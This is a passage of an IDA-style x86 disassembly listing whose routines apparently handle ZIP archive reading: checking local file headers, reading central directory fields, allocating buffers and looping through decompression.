		add	edx, 78h
		push	edx
		mov	eax, [ebp+var_8]
		add	eax, 28h
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42EED2
		add	esp, 24h
		mov	[ebp+var_4], eax
		xor	edx, edx
		cmp	[ebp+var_4], 0
		setz	dl
		mov	eax, [ebp+var_8]
		mov	[eax+18h], edx
		mov	eax, [ebp+var_4]


loc_42F37D:				; CODE XREF: sub_42F313+11j
		mov	esp, ebp
		pop	ebp
		retn
sub_42F313	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F381	proc near		; CODE XREF: sub_42F43A+E9p
					; sub_43007C+169p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	[ebp+arg_0], 0
		jnz	short loc_42F397
		mov	eax, 0FFFFFF9Ah
		jmp	loc_42F436
; ---------------------------------------------------------------------------


loc_42F397:				; CODE XREF: sub_42F381+Aj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+18h], 0
		jnz	short loc_42F3B0
		mov	eax, 0FFFFFF9Ch
		jmp	loc_42F436
; ---------------------------------------------------------------------------


loc_42F3B0:				; CODE XREF: sub_42F381+23j
		mov	edx, [ebp+var_8]
		mov	eax, [edx+10h]
		add	eax, 1
		mov	ecx, [ebp+var_8]
		cmp	eax, [ecx+4]
		jnz	short loc_42F3C8
		mov	eax, 0FFFFFF9Ch
		jmp	short loc_42F436
; ---------------------------------------------------------------------------


loc_42F3C8:				; CODE XREF: sub_42F381+3Ej
		mov	edx, [ebp+var_8]
		mov	eax, [edx+48h]
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4Ch]
		lea	eax, [eax+edx+2Eh]
		mov	ecx, [ebp+var_8]
		add	eax, [ecx+50h]
		mov	edx, [ebp+var_8]
		mov	ecx, [edx+14h]
		add	ecx, eax
		mov	edx, [ebp+var_8]
		mov	[edx+14h], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+10h]
		add	ecx, 1
		mov	edx, [ebp+var_8]
		mov	[edx+10h], ecx
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_8]
		add	eax, 78h
		push	eax
		mov	ecx, [ebp+var_8]
		add	ecx, 28h
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42EED2
		add	esp, 24h
		mov	[ebp+var_4], eax
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setz	al
		mov	ecx, [ebp+var_8]
		mov	[ecx+18h], eax
		mov	eax, [ebp+var_4]


loc_42F436:				; CODE XREF: sub_42F381+11j
					; sub_42F381+2Aj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42F381	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F43A	proc near		; CODE XREF: sub_430707+25p

var_218		= byte ptr -218h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		cmp	[ebp+arg_0], 0
		jnz	short loc_42F453
		mov	eax, 0FFFFFF9Ah
		jmp	loc_42F557
; ---------------------------------------------------------------------------


loc_42F453:				; CODE XREF: sub_42F43A+Dj
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_43175E	; strlen
		add	esp, 4
		cmp	eax, 100h
		jb	short loc_42F470
		mov	eax, 0FFFFFF9Ah
		jmp	loc_42F557
; ---------------------------------------------------------------------------


loc_42F470:				; CODE XREF: sub_42F43A+2Aj
		mov	ecx, [ebp+arg_4]
		push	ecx
		lea	edx, [ebp+var_104]
		push	edx
		call	sub_431758	; strcpy
		add	esp, 8
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10C], eax
		mov	ecx, [ebp+var_10C]
		cmp	dword ptr [ecx+18h], 0
		jnz	short loc_42F4A2
		mov	eax, 0FFFFFF9Ch
		jmp	loc_42F557
; ---------------------------------------------------------------------------


loc_42F4A2:				; CODE XREF: sub_42F43A+5Cj
		mov	edx, [ebp+var_10C]
		mov	eax, [edx+10h]
		mov	[ebp+var_110], eax
		mov	ecx, [ebp+var_10C]
		mov	edx, [ecx+14h]
		mov	[ebp+var_114], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42F313
		add	esp, 4
		mov	[ebp+var_108], eax


loc_42F4D2:				; CODE XREF: sub_42F43A+F7j
		cmp	[ebp+var_108], 0
		jnz	short loc_42F533
		push	0
		push	0
		push	0
		push	0
		push	100h
		lea	ecx, [ebp+var_218]
		push	ecx
		push	0
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42F2E4
		add	esp, 20h
		mov	eax, [ebp+arg_8]
		push	eax
		lea	ecx, [ebp+var_104]
		push	ecx
		lea	edx, [ebp+var_218]
		push	edx
		call	sub_42EA04
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42F51F
		xor	eax, eax
		jmp	short loc_42F557
; ---------------------------------------------------------------------------


loc_42F51F:				; CODE XREF: sub_42F43A+DFj
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42F381
		add	esp, 4
		mov	[ebp+var_108], eax
		jmp	short loc_42F4D2
; ---------------------------------------------------------------------------


loc_42F533:				; CODE XREF: sub_42F43A+9Fj
		mov	ecx, [ebp+var_10C]
		mov	edx, [ebp+var_110]
		mov	[ecx+10h], edx
		mov	eax, [ebp+var_10C]
		mov	ecx, [ebp+var_114]
		mov	[eax+14h], ecx
		mov	eax, [ebp+var_108]


loc_42F557:				; CODE XREF: sub_42F43A+14j
					; sub_42F43A+31j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42F43A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F55B	proc near		; CODE XREF: sub_42F7E0+54p
					; sub_43007C+1B4p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+arg_8]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+arg_C]
		mov	dword ptr [edx], 0
		push	0
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+78h]
		mov	edx, [ebp+arg_0]
		add	ecx, [edx+0Ch]
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E66B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42F5AC
		or	eax, 0FFFFFFFFh
		jmp	loc_42F7DC
; ---------------------------------------------------------------------------


loc_42F5AC:				; CODE XREF: sub_42F55B+47j
		cmp	[ebp+var_4], 0
		jnz	short loc_42F5E1
		lea	edx, [ebp+var_10]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E8A4
		add	esp, 8
		test	eax, eax
		jz	short loc_42F5D1
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42F5E1
; ---------------------------------------------------------------------------


loc_42F5D1:				; CODE XREF: sub_42F55B+6Bj
		cmp	[ebp+var_10], 4034B50h
		jz	short loc_42F5E1
		mov	[ebp+var_4], 0FFFFFF99h


loc_42F5E1:				; CODE XREF: sub_42F55B+55j
					; sub_42F55B+74j ...
		lea	edx, [ebp+var_18]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E83E
		add	esp, 8
		test	eax, eax
		jz	short loc_42F5FE
		mov	[ebp+var_4], 0FFFFFFFFh


loc_42F5FE:				; CODE XREF: sub_42F55B+9Aj
		lea	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E83E
		add	esp, 8
		test	eax, eax
		jz	short loc_42F61B
		mov	[ebp+var_4], 0FFFFFFFFh


loc_42F61B:				; CODE XREF: sub_42F55B+B7j
		lea	edx, [ebp+var_18]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E83E
		add	esp, 8
		test	eax, eax
		jz	short loc_42F63A
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42F652
; ---------------------------------------------------------------------------


loc_42F63A:				; CODE XREF: sub_42F55B+D4j
		cmp	[ebp+var_4], 0
		jnz	short loc_42F652
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_18]
		cmp	eax, [edx+34h]
		jz	short loc_42F652
		mov	[ebp+var_4], 0FFFFFF99h


loc_42F652:				; CODE XREF: sub_42F55B+DDj
					; sub_42F55B+E3j ...
		cmp	[ebp+var_4], 0
		jnz	short loc_42F671
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+34h], 0
		jz	short loc_42F671
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+34h], 8
		jz	short loc_42F671
		mov	[ebp+var_4], 0FFFFFF99h


loc_42F671:				; CODE XREF: sub_42F55B+FBj
					; sub_42F55B+104j ...
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	edx
		call	sub_42E8A4
		add	esp, 8
		test	eax, eax
		jz	short loc_42F68E
		mov	[ebp+var_4], 0FFFFFFFFh


loc_42F68E:				; CODE XREF: sub_42F55B+12Aj
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	edx
		call	sub_42E8A4
		add	esp, 8
		test	eax, eax
		jz	short loc_42F6AD
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42F6CF
; ---------------------------------------------------------------------------


loc_42F6AD:				; CODE XREF: sub_42F55B+147j
		cmp	[ebp+var_4], 0
		jnz	short loc_42F6CF
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_18]
		cmp	ecx, [eax+3Ch]
		jz	short loc_42F6CF
		mov	edx, [ebp+var_14]
		and	edx, 8
		test	edx, edx
		jnz	short loc_42F6CF
		mov	[ebp+var_4], 0FFFFFF99h


loc_42F6CF:				; CODE XREF: sub_42F55B+150j
					; sub_42F55B+156j ...
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	edx
		call	sub_42E8A4
		add	esp, 8
		test	eax, eax
		jz	short loc_42F6EE
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42F710
; ---------------------------------------------------------------------------


loc_42F6EE:				; CODE XREF: sub_42F55B+188j
		cmp	[ebp+var_4], 0
		jnz	short loc_42F710
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_18]
		cmp	ecx, [eax+40h]
		jz	short loc_42F710
		mov	edx, [ebp+var_14]
		and	edx, 8
		test	edx, edx
		jnz	short loc_42F710
		mov	[ebp+var_4], 0FFFFFF99h


loc_42F710:				; CODE XREF: sub_42F55B+191j
					; sub_42F55B+197j ...
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	edx
		call	sub_42E8A4
		add	esp, 8
		test	eax, eax
		jz	short loc_42F72F
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42F751
; ---------------------------------------------------------------------------


loc_42F72F:				; CODE XREF: sub_42F55B+1C9j
		cmp	[ebp+var_4], 0
		jnz	short loc_42F751
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_18]
		cmp	ecx, [eax+44h]
		jz	short loc_42F751
		mov	edx, [ebp+var_14]
		and	edx, 8
		test	edx, edx
		jnz	short loc_42F751
		mov	[ebp+var_4], 0FFFFFF99h


loc_42F751:				; CODE XREF: sub_42F55B+1D2j
					; sub_42F55B+1D8j ...
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	edx
		call	sub_42E83E
		add	esp, 8
		test	eax, eax
		jz	short loc_42F770
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42F788
; ---------------------------------------------------------------------------


loc_42F770:				; CODE XREF: sub_42F55B+20Aj
		cmp	[ebp+var_4], 0
		jnz	short loc_42F788
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		cmp	ecx, [eax+48h]
		jz	short loc_42F788
		mov	[ebp+var_4], 0FFFFFF99h


loc_42F788:				; CODE XREF: sub_42F55B+213j
					; sub_42F55B+219j ...
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		add	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		lea	edx, [ebp+var_8]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E83E
		add	esp, 8
		test	eax, eax
		jz	short loc_42F7B2
		mov	[ebp+var_4], 0FFFFFFFFh


loc_42F7B2:				; CODE XREF: sub_42F55B+24Ej
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+78h]
		mov	ecx, [ebp+var_C]
		lea	edx, [eax+ecx+1Eh]
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+var_8]
		mov	[ecx], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		add	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		mov	[edx], ecx
		mov	eax, [ebp+var_4]


loc_42F7DC:				; CODE XREF: sub_42F55B+4Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_42F55B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F7E0	proc near		; CODE XREF: sub_4308E2+DEp
					; sub_4308E2+3D8p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		cmp	[ebp+arg_0], 0
		jnz	short loc_42F7F6
		mov	eax, 0FFFFFF9Ah
		jmp	loc_42F99E
; ---------------------------------------------------------------------------


loc_42F7F6:				; CODE XREF: sub_42F7E0+Aj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		cmp	dword ptr [ecx+18h], 0
		jnz	short loc_42F80F
		mov	eax, 0FFFFFF9Ah
		jmp	loc_42F99E
; ---------------------------------------------------------------------------


loc_42F80F:				; CODE XREF: sub_42F7E0+23j
		mov	edx, [ebp+var_C]
		cmp	dword ptr [edx+7Ch], 0
		jz	short loc_42F824
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42FDD7
		add	esp, 4


loc_42F824:				; CODE XREF: sub_42F7E0+36j
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	edx, [ebp+var_1C]
		push	edx
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_42F55B
		add	esp, 10h
		test	eax, eax
		jz	short loc_42F84A
		mov	eax, 0FFFFFF99h
		jmp	loc_42F99E
; ---------------------------------------------------------------------------


loc_42F84A:				; CODE XREF: sub_42F7E0+5Ej
		push	6Ch
		call	dword_4331C8	; malloc
		add	esp, 4
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_42F868
		mov	eax, 0FFFFFF98h
		jmp	loc_42F99E
; ---------------------------------------------------------------------------


loc_42F868:				; CODE XREF: sub_42F7E0+7Cj
		push	4000h
		call	dword_4331C8	; malloc
		add	esp, 4
		mov	edx, [ebp+var_8]
		mov	[edx], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_1C]
		mov	[eax+44h], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_10]
		mov	[edx+48h], eax
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+4Ch], 0
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx], 0
		jnz	short loc_42F8BC
		cmp	[ebp+var_8], 0
		jz	short loc_42F8B2
		mov	eax, [ebp+var_8]
		push	eax
		call	dword_4331D4	; free
		add	esp, 4


loc_42F8B2:				; CODE XREF: sub_42F7E0+C3j
		mov	eax, 0FFFFFF98h
		jmp	loc_42F99E
; ---------------------------------------------------------------------------


loc_42F8BC:				; CODE XREF: sub_42F7E0+BDj
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+40h], 0
		mov	ecx, [ebp+var_C]
		xor	edx, edx
		cmp	dword ptr [ecx+34h], 0
		setz	dl
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+3Ch]
		mov	[eax+54h], edx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+50h], 0
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		mov	eax, [edx+34h]
		mov	[ecx+64h], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		mov	eax, [edx]
		mov	[ecx+60h], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		mov	eax, [edx+0Ch]
		mov	[ecx+68h], eax
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+18h], 0
		cmp	[ebp+var_14], 0
		jnz	short loc_42F95E
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+24h], 0
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+28h], 0
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+2Ch], 0
		mov	edx, [ebp+var_8]
		add	edx, 4
		push	edx
		call	sub_42DBE5
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_42F95E
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+40h], 1


loc_42F95E:				; CODE XREF: sub_42F7E0+13Cj
					; sub_42F7E0+172j
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		mov	eax, [edx+40h]
		mov	[ecx+58h], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		mov	eax, [edx+44h]
		mov	[ecx+5Ch], eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+78h]
		mov	eax, [ebp+var_18]
		lea	ecx, [edx+eax+1Eh]
		mov	edx, [ebp+var_8]
		mov	[edx+3Ch], ecx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+8], 0
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[ecx+7Ch], edx
		xor	eax, eax


loc_42F99E:				; CODE XREF: sub_42F7E0+11j
					; sub_42F7E0+2Aj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42F7E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F9A2	proc near		; CODE XREF: sub_4308E2+103p
					; sub_4308E2+3FCp

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	esi
		mov	[ebp+var_4], 0
		mov	[ebp+var_10], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_42F9CD
		mov	eax, 0FFFFFF9Ah
		jmp	loc_42FC94
; ---------------------------------------------------------------------------


loc_42F9CD:				; CODE XREF: sub_42F9A2+1Fj
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+7Ch]
		mov	[ebp+var_8], edx
		cmp	[ebp+var_8], 0
		jnz	short loc_42F9E6
		mov	eax, 0FFFFFF9Ah
		jmp	loc_42FC94
; ---------------------------------------------------------------------------


loc_42F9E6:				; CODE XREF: sub_42F9A2+38j
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax], 0
		jnz	short loc_42F9F8
		mov	eax, 0FFFFFF9Ch
		jmp	loc_42FC94
; ---------------------------------------------------------------------------


loc_42F9F8:				; CODE XREF: sub_42F9A2+4Aj
		cmp	[ebp+arg_8], 0
		jnz	short loc_42FA05
		xor	eax, eax
		jmp	loc_42FC94
; ---------------------------------------------------------------------------


loc_42FA05:				; CODE XREF: sub_42F9A2+5Aj
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		mov	[ecx+10h], edx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		mov	[eax+14h], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+arg_8]
		cmp	eax, [edx+5Ch]
		jbe	short loc_42FA2E
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_8]
		mov	eax, [edx+5Ch]
		mov	[ecx+14h], eax


loc_42FA2E:				; CODE XREF: sub_42F9A2+7Ej
					; sub_42F9A2:loc_42FC81j
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+14h], 0
		jbe	loc_42FC86
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+8], 0
		jnz	loc_42FB01
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+58h], 0
		jbe	loc_42FB01
		mov	[ebp+var_14], 4000h
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+58h]
		cmp	edx, [ebp+var_14]
		jnb	short loc_42FA70
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+58h]
		mov	[ebp+var_14], ecx


loc_42FA70:				; CODE XREF: sub_42F9A2+C3j
		cmp	[ebp+var_14], 0
		jnz	short loc_42FA7D
		xor	eax, eax
		jmp	loc_42FC94
; ---------------------------------------------------------------------------


loc_42FA7D:				; CODE XREF: sub_42F9A2+D2j
		push	0
		mov	edx, [ebp+var_8]
		mov	eax, [edx+3Ch]
		mov	ecx, [ebp+var_8]
		add	eax, [ecx+68h]
		push	eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx+60h]
		push	eax
		call	sub_42E66B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42FAA7
		or	eax, 0FFFFFFFFh
		jmp	loc_42FC94
; ---------------------------------------------------------------------------


loc_42FAA7:				; CODE XREF: sub_42F9A2+FBj
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+60h]
		push	edx
		push	1
		mov	eax, [ebp+var_14]
		push	eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx]
		push	edx
		call	sub_42E740
		add	esp, 10h
		cmp	eax, 1
		jz	short loc_42FACF
		or	eax, 0FFFFFFFFh
		jmp	loc_42FC94
; ---------------------------------------------------------------------------


loc_42FACF:				; CODE XREF: sub_42F9A2+123j
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+3Ch]
		add	ecx, [ebp+var_14]
		mov	edx, [ebp+var_8]
		mov	[edx+3Ch], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+58h]
		sub	ecx, [ebp+var_14]
		mov	edx, [ebp+var_8]
		mov	[edx+58h], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx]
		mov	[eax+4], edx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_14]
		mov	[eax+8], ecx


loc_42FB01:				; CODE XREF: sub_42F9A2+A0j
					; sub_42F9A2+ADj
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+64h], 0
		jnz	loc_42FBEC
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_8]
		mov	edx, [eax+14h]
		cmp	edx, [ecx+8]
		jnb	short loc_42FB27
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+14h]
		mov	[ebp+var_18], ecx
		jmp	short loc_42FB30
; ---------------------------------------------------------------------------


loc_42FB27:				; CODE XREF: sub_42F9A2+178j
		mov	edx, [ebp+var_8]
		mov	eax, [edx+8]
		mov	[ebp+var_18], eax


loc_42FB30:				; CODE XREF: sub_42F9A2+183j
		mov	[ebp+var_1C], 0
		jmp	short loc_42FB42
; ---------------------------------------------------------------------------


loc_42FB39:				; CODE XREF: sub_42F9A2+1C0j
		mov	ecx, [ebp+var_1C]
		add	ecx, 1
		mov	[ebp+var_1C], ecx


loc_42FB42:				; CODE XREF: sub_42F9A2+195j
		mov	edx, [ebp+var_1C]
		cmp	edx, [ebp+var_18]
		jnb	short loc_42FB64
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_8]
		mov	eax, [edx+10h]
		mov	edx, [ebp+var_1C]
		mov	esi, [ebp+var_1C]
		mov	cl, [ecx+esi]
		mov	[eax+edx], cl
		jmp	short loc_42FB39
; ---------------------------------------------------------------------------


loc_42FB64:				; CODE XREF: sub_42F9A2+1A6j
		mov	edx, [ebp+var_18]
		push	edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+10h]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+50h]
		push	eax
		call	sub_42D665
		add	esp, 0Ch
		mov	ecx, [ebp+var_8]
		mov	[ecx+50h], eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx+5Ch]
		sub	eax, [ebp+var_18]
		mov	ecx, [ebp+var_8]
		mov	[ecx+5Ch], eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx+8]
		sub	eax, [ebp+var_18]
		mov	ecx, [ebp+var_8]
		mov	[ecx+8], eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		sub	eax, [ebp+var_18]
		mov	ecx, [ebp+var_8]
		mov	[ecx+14h], eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx+10h]
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_8]
		mov	[ecx+10h], eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_8]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx+18h]
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_8]
		mov	[ecx+18h], eax
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_18]
		mov	[ebp+var_10], edx
		jmp	loc_42FC81
; ---------------------------------------------------------------------------


loc_42FBEC:				; CODE XREF: sub_42F9A2+166j
		mov	[ebp+var_30], 2
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+18h]
		mov	[ebp+var_28], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+10h]
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+var_30]
		push	ecx
		mov	edx, [ebp+var_8]
		add	edx, 4
		push	edx
		call	sub_42DD65
		add	esp, 8
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+18h]
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_20]
		sub	edx, [ebp+var_28]
		mov	[ebp+var_24], edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+var_2C]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+50h]
		push	eax
		call	sub_42D665
		add	esp, 0Ch
		mov	ecx, [ebp+var_8]
		mov	[ecx+50h], eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx+5Ch]
		sub	eax, [ebp+var_24]
		mov	ecx, [ebp+var_8]
		mov	[ecx+5Ch], eax
		mov	edx, [ebp+var_20]
		sub	edx, [ebp+var_28]
		mov	eax, [ebp+var_10]
		add	eax, edx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_4], 1
		jnz	short loc_42FC79
		mov	eax, [ebp+var_10]
		neg	eax
		sbb	eax, eax
		and	eax, [ebp+var_10]
		jmp	short loc_42FC94
; ---------------------------------------------------------------------------


loc_42FC79:				; CODE XREF: sub_42F9A2+2C9j
		cmp	[ebp+var_4], 0
		jz	short loc_42FC81
		jmp	short loc_42FC86
; ---------------------------------------------------------------------------


loc_42FC81:				; CODE XREF: sub_42F9A2+245j
					; sub_42F9A2+2DBj
		jmp	loc_42FA2E
; ---------------------------------------------------------------------------


loc_42FC86:				; CODE XREF: sub_42F9A2+93j
					; sub_42F9A2+2DDj
		cmp	[ebp+var_4], 0
		jnz	short loc_42FC91
		mov	eax, [ebp+var_10]
		jmp	short loc_42FC94
; ---------------------------------------------------------------------------


loc_42FC91:				; CODE XREF: sub_42F9A2+2E8j
		mov	eax, [ebp+var_4]


loc_42FC94:				; CODE XREF: sub_42F9A2+26j
					; sub_42F9A2+3Fj ...
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_42F9A2	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_42FCAC
		mov	eax, 0FFFFFF9Ah
		jmp	short loc_42FCCE
; ---------------------------------------------------------------------------


loc_42FCAC:				; CODE XREF: HLXc:0042FCA3j
		mov	eax, [ebp+8]
		mov	[ebp-8], eax
		mov	ecx, [ebp-8]
		mov	edx, [ecx+7Ch]
		mov	[ebp-4], edx
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_42FCC8
